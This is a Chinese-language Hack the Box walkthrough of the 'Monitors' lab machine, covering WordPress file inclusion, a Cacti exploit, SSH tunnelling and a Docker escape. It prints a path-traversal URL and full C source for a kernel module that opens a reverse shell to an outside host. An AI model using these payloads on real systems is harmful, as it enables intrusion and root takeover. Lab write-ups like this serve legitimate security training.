当前位置: 代码迷 >> 综合 >> Hack the Box Monitors 靶机渗透
  详细解决方案

Hack the Box Monitors 靶机渗透

热度:92   发布时间:2023-10-22 01:41:49.0

Monitors靶机渗透

目标:得到root权限,取得user.txt,root.txt
作者:shadow
时间:2021-07-27

请注意:我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。

一、信息收集

Hack the Box Monitors 靶机渗透

去80端口看看

Hack the Box Monitors 靶机渗透

添加dns

echo "10.10.10.238 monitors.htb" >> /etc/hosts

Hack the Box Monitors 靶机渗透

二、web渗透

尝试wpscan,没token的可以去官网注册一个,免费的

Hack the Box Monitors 靶机渗透

Hack the Box Monitors 靶机渗透

发现存在未授权文件包含漏洞,查看exploit

Hack the Box Monitors 靶机渗透

Hack the Box Monitors 靶机渗透 漏洞是可用的

查看wp-config.php 获得mysql用户名密码

Hack the Box Monitors 靶机渗透

 wfuzz 获得http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-available/000-default.conf

Hack the Box Monitors 靶机渗透

将cacti-admin.monitors.htb写入hosts

Hack the Box Monitors 靶机渗透

 输入用户名密码成功登录

Hack the Box Monitors 靶机渗透

查到1.2.12存在漏洞CVE-2020-14295

https://www.exploit-db.com/exploits/49810

Hack the Box Monitors 靶机渗透

成功获得webshell

三、提权

查看目录发现home下有一个.backup无权限进入,但是发现backup.sh

得到用户名与密码,尝试ssh

Hack the Box Monitors 靶机渗透 Hack the Box Monitors 靶机渗透

成功登录,得到user.txt

sudo -l 发现sudo禁用

Hack the Box Monitors 靶机渗透

猜测8443端口应该是note.txt里面提到的docker

ssh -L 8443:127.0.0.1:8443 -R 4444:127.0.0.1:4444 -R 8080:127.0.0.1:8080 marcus@monitors.htb

Hack the Box Monitors 靶机渗透

成功登录docker

Hack the Box Monitors 靶机渗透

本地访问代理服务器发现tomcat版本9.0.31存在漏洞

Hack the Box Monitors 靶机渗透

Hack the Box Monitors 靶机渗透

成功获得docker的root权限

https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

编写一个程序,在usermode Helper API的帮助下调用反向shell

c代码

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.18.0.1/4445 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

创建一个Makefile来编译内核模块

obj-m +=reverse-shell.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

本地保存之后然后上传到docker

Hack the Box Monitors 靶机渗透

Hack the Box Monitors 靶机渗透

在ssh登录的窗口监听reverse-shell中的反弹端口,在docker中运行

insmod reverse-shell.ko

成功反弹shell,root权限

Hack the Box Monitors 靶机渗透

 四、总结

 又是一个docker的靶机,前期web渗透时候模糊查询文件000-default.conf花了些时间,后期查找docker逃逸花了很久,难度还是挺大的